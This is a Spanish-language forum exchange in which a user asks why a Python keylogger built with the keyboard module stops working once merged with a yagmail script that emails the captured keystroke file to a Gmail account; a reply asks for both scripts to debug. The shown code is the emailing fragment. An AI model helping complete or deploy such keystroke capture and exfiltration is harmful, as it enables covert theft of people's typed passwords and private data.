Cita de: TheFerret en 13 Abril 2019, 21:24 PM
El fallo al parecer se encuentra en el módulo de PyHook en Python3. Técnicamente en Python 2 debería funcionar sin problemas según he leído.Para no abrir otro tema prosigo aquí. He cambiado el código por el de este tutorial que usa otro módulo:Keyboard.
https://recursospython.com/codigos-de-fuente/keylogger-para-windows-y-linux/
Y he añadido usando el módulo yagmail un script para que envíe un correo con el fichero. Funcionan bien....por separado.Si ejecuto primero el script de recursospython y después el script de yagmail funciona sin problemas. Pero en cuanto uno ambos script en uno solo, deja de funcionar. Soluciones?
Código añadido:Código (python) [Seleccionar]
from functools import partial
import atexit
import os
import keyboard
import time, datetime
import smtplib
import yagmail
import sys
yag = yagmail.SMTP('correo@gmail.com', 'contraseña')
yag
img = "C:/Users/Andrés/Desktop/keys.txt"
yag.send('correo@gmail.com', "Birthday", contents = [img])
Sé que podría se que lo que voy a pedir puede parecer innecesario. Pero, podrías postear. Los dos scripts a parte, que funcionan.
Y luego el script 'completo' que falla.
Así, sería más sencillo fijarse que es lo que falla. Si es que al definir cierta variable en uno, afecta al otro, o cambia la forma en la que lee los datos, por ejemplo.